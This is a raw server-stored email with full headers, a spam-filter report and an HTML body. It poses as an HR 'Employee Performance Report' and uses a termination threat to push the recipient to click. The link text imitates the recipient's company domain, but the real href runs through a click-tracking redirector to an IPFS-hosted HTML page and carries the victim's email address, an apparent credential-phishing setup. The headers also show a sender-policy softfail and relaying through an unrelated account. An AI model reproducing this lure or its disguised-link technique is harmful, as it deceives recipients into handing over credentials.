File: /home-ssd1/busines1/mail/new/1715734219.M94666P107520.beta.alfanet.ee,S=5499,W=5607
Return-Path: <hr@modec.com.lb>
Delivered-To: busines1@beta.alfanet.ee
Received: from beta.alfanet.ee
by beta.alfanet.ee with LMTP
id 0GZwA8sGRGYApAEAFyPhAw
(envelope-from <hr@modec.com.lb>)
for <busines1@beta.alfanet.ee>; Wed, 15 May 2024 03:50:19 +0300
Return-path: <hr@modec.com.lb>
Envelope-to: webmaster@businessdatabases.net
Delivery-date: Wed, 15 May 2024 03:50:19 +0300
Received: from server.textcodesoftware.com ([103.171.45.98]:50410)
by beta.alfanet.ee with esmtps (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.97.1)
(envelope-from <hr@modec.com.lb>)
id 1s72qY-00000000SEs-01Bd
for webmaster@businessdatabases.net;
Wed, 15 May 2024 03:50:18 +0300
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
d=saiconstruction.net; s=default; h=Content-Transfer-Encoding:Content-Type:
MIME-Version:Message-ID:Date:Subject:To:From:Sender:Reply-To:Cc:Content-ID:
Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
:Resent-Message-ID:In-Reply-To:References:List-Id:List-Help:List-Unsubscribe:
List-Subscribe:List-Post:List-Owner:List-Archive;
bh=75HCFhkXUj+RY7W7eoeb5EyfW9iOv0iB9DfCex+29AU=; b=jWih7GhyHJK2IuX/XHSg0ZIKPt
tKpjNjumHnShC2nNLZBFnLwOSlwepAe7OrtbtO56EVGz4F9CGAb/agv5ET/yZyRIRccuxlDcU+IzK
Fwgj1L+jteWPO5MNL+kgD4MgCWplQJ0xCHZlvdHxIa+/n4QzJZK4BfNhIkKcRoVZoPzhBPyaTVKUy
fZonYQzrdBo/5VwfOpS9ZkJaaYXVT5tQU6Odr5fdRqZSZk+wheOmUsh7jfYCErzU1E9Qf7FvwZbC3
NE4LDtNRLW2o4HYOGMz6gZdBWt71wZiJ6diqylBIHT0zfAbC+J0CLvb/0qw/IF0WBiblsMnYXrXf3
225/8itQ==;
Received: from [109.248.151.212] (port=62061)
by server.textcodesoftware.com with esmtpsa (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
(Exim 4.96)
(envelope-from <hr@modec.com.lb>)
id 1s72ps-0001cW-1J
for webmaster@businessdatabases.net;
Wed, 15 May 2024 06:19:32 +0530
From: HR Department <hr@modec.com.lb>
To: webmaster@businessdatabases.net
Subject: Employee Performance Report -April 2024
Date: 15 May 2024 03:49:26 +0300
Message-ID: <20240515034925.76BF2777607D5B65@modec.com.lb>
MIME-Version: 1.0
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
X-AntiAbuse: This header was added to track abuse, please include it with any abuse report
X-AntiAbuse: Primary Hostname - server.textcodesoftware.com
X-AntiAbuse: Original Domain - businessdatabases.net
X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12]
X-AntiAbuse: Sender Address Domain - modec.com.lb
X-Get-Message-Sender-Via: server.textcodesoftware.com: authenticated_id: info@saiconstruction.net
X-Authenticated-Sender: server.textcodesoftware.com: info@saiconstruction.net
X-Source:
X-Source-Args:
X-Source-Dir:
X-Spam-Status: No, score=4.6
X-Spam-Score: 46
X-Spam-Bar: ++++
X-Ham-Report: Spam detection software, running on the system "beta.alfanet.ee",
has NOT identified this incoming email as spam. The original
message has been attached to this so you can view it or label
similar future email. If you have any questions, see
root\@localhost for details.
Content preview: Hello Gentlemen, Kindly find below link to past month's employees
performance report, April 2024: inter-records/staff.businessdatabases.net/news/empl.record/2024-reports/
Content analysis details: (4.6 points, 5.0 required)
pts rule name description
---- ---------------------- --------------------------------------------------
0.0 URIBL_BLOCKED ADMINISTRATOR NOTICE: The query to URIBL was
blocked. See
http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
for more information.
[URIs: donorview.com]
-0.0 SPF_HELO_PASS SPF: HELO matches SPF record
1.5 SPF_SOFTFAIL SPF: sender does not match SPF record (softfail)
0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts
0.0 HTML_MESSAGE BODY: HTML included in message
-0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
0.1 DKIM_SIGNED Message has a DKIM or DK signature, not necessarily
valid
0.5 KAM_NUMSUBJECT Subject ends in numbers excluding current years
2.5 URI_CLOUDFLAREIPFS References Interplanetary File System PtP
content via CloudFlare, likely phishing
X-Spam-Flag: NO
<!DOCTYPE HTML>
<html><head><title></title>
<meta http-equiv=3D"X-UA-Compatible" content=3D"IE=3Dedge">
</head>
<body style=3D"margin: 0.4em;">
<p>Hello Gentlemen,</p><p>Kindly find below link to past month's employees =
performance report, April 2024:</p><p><font color=3D"#084ff7">
<a href=3D"https://app.donorview.com/Communication/Click?prm=3DuEvQjbLyROfQ=
y1XICroxZgnn6zkK-jxszv3c-V7QVTzbyWCRnwEo72rfjdFLOn6LD-AbzGoObSWvJEDMZH3l_sA=
l_z1NUhFuXl1zt3juOmIcN_J3w3rrSbzKkTErDNu48wmAjuOwMWYFji5HSlNfrNvlQzfcdYndFW=
3XpMVPR1ahJlmQEYNAysRt4-YWnhMQPXKbA4Diq5MECXxH0hT8_be4LADzMz-s1ZJP8a9qn301&=
amp;target=3Dhttps://cloudflare-ipfs.com/ipfs/QmUSDJZrVBitESAK3crRsNsnaYhe5=
hBJkbHCDTTKHRE5Wo?filename=3Dimage0002.html#webmaster@businessdatabases.net=
">inter-records/staff.businessdatabases.net/news/empl.record/2024-reports/<=
/a></font>
<br> </p><p>Note: All names highlighted in red indicate employees to b=
e terminated.<br> <br> <br>Best regards,<br>Director of HR =
</p><p>Human Resource Department</p><p>hr.director@ businessdatabases.net<b=
r>www. businessdatabases.net</p>
</body></html>